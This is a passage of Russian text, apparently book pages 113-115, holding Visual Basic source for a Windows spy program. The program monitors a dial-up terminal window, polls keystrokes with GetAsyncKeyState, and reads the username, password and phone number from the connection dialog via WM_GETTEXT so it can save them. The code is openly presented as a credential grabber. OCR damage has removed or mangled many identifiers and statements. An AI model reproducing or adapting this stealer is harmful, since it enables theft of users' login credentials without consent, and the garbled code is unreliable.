Раздел: Документация
0 ... 34 35 36 37 38 39 40 ... 169 Dim i As Integer Dim j As Integer LoadWnds / / загружаем список всех окон If FindWindow(«Терминала (после подключения)») О О Then // Найдено окно терминальты If SpyWindow. Timer2. Interval = 0 Then //если второй таймер был выключен, то чистим буфер клавиатуры и включаем его For i = 0 То 255: j = GetAsyncKeyState (i) : Next i SpyWindow. Timer2. Interval 20 End If Else //Онко терминала не найдено... SpyWindow.Interval <>0 Then было ранее, а теперь пропало TermChar, TermChar = «» SpyWindow.Interval = 0таймер 2 End If End If // Проверяем попытку установить связь // Используется тот факт, что, когда появляется окно «Установка связи с», то: // первый диалог (где юзер набирает пароль) просто прячется, но не // выгружается. Спасибо Вилли Гейтсу :=) Ifсвязь с») <> 0 Then // грузим список дочерних окон этого окна: LoadChilds // сбой — дочернее окно почему-то не найдено (???) Ifпользователя») = 0 Then Exit Sub // грабим содержимое следующих за именованными дочерних окошек: =пользовате- ля»)+1) newPassWrd = Capture newDialNum = Capture(FindChild(«Телефон») + 1) 113 // сверяем с ранее сграбленными If UserName = newUserName And PassWrd = newPassWrd And DialNum = newDialNum Then Exit Sub // хотя бы одно значение отличается! UserName = newUserName PassWrd = newPassWrd DialNum = newDialNum SaveDialoglnfo (UserName, PassWrd, DialNum) End If End Sub Function Capture (childlDX As Integer) As String / / аргумент — индекс в массиве загруженных дочерних окон // посылает окну сообщение WM GETTEXT и получает его содержимое // возвращает его (в виде строки) Dim As Integer Dim wParam As Integer Dim lParam As String wParam = 1024 //макс, длина содержимого IParam =//содержит строку про- белов длиной 1024 символа rc = SendMessage(Child(childlDX). hchild, WM GETTEXT, wParam, IParam) If <> 0 Then IParam =// обрез- ка строки по фактической длине Capture = IParam End Function Function FindChild (childName As String) As Integer // аргумент - строка, содерж. имя дочернего окна / / возвращает индекс массива загруженных процедурой LoadChilds доч. окон Dim i As Integer FindChild = 0 For i 0 To 255 Ifname, childName) <> 0 Then // встроенная ф-цияищет подстроку в строке // возвращает позицию вхождения или О 114 FindChild i Exit For End If Next i End Function Function FindNearWindow (WinName As String) As Integer // ищет приблизительно подходящее название окна // возвращает индекс в массиве загруженых окон Dim i As Integer FindNearWindow 0 For i = 0 To 2 55 If InStr(Wnd(I). name, WinName) <> 0 Then FindNearWindow = Wnd(i). hwnd Exit For End If Next i End Function Function FindWindow (WinName As String) As Integer // CM. FindNearWindow Dim i As Integer FindWindow = 0 For i 0 To 255 If Wnd(i). name = WinName Then FindWindow = Wnd(i). hwnd Exit For End If Next i End Function Sub(hwnd As Integer) // загружает в массив Child () список дочерних окошек указанного окна // аргумент — hWnd, указывающий окно DimAs Integer Dim IpszChildName As String DimAs Integer Dim As Integer Dim i As Integer 115 0 ... 34 35 36 37 38 39 40 ... 169
|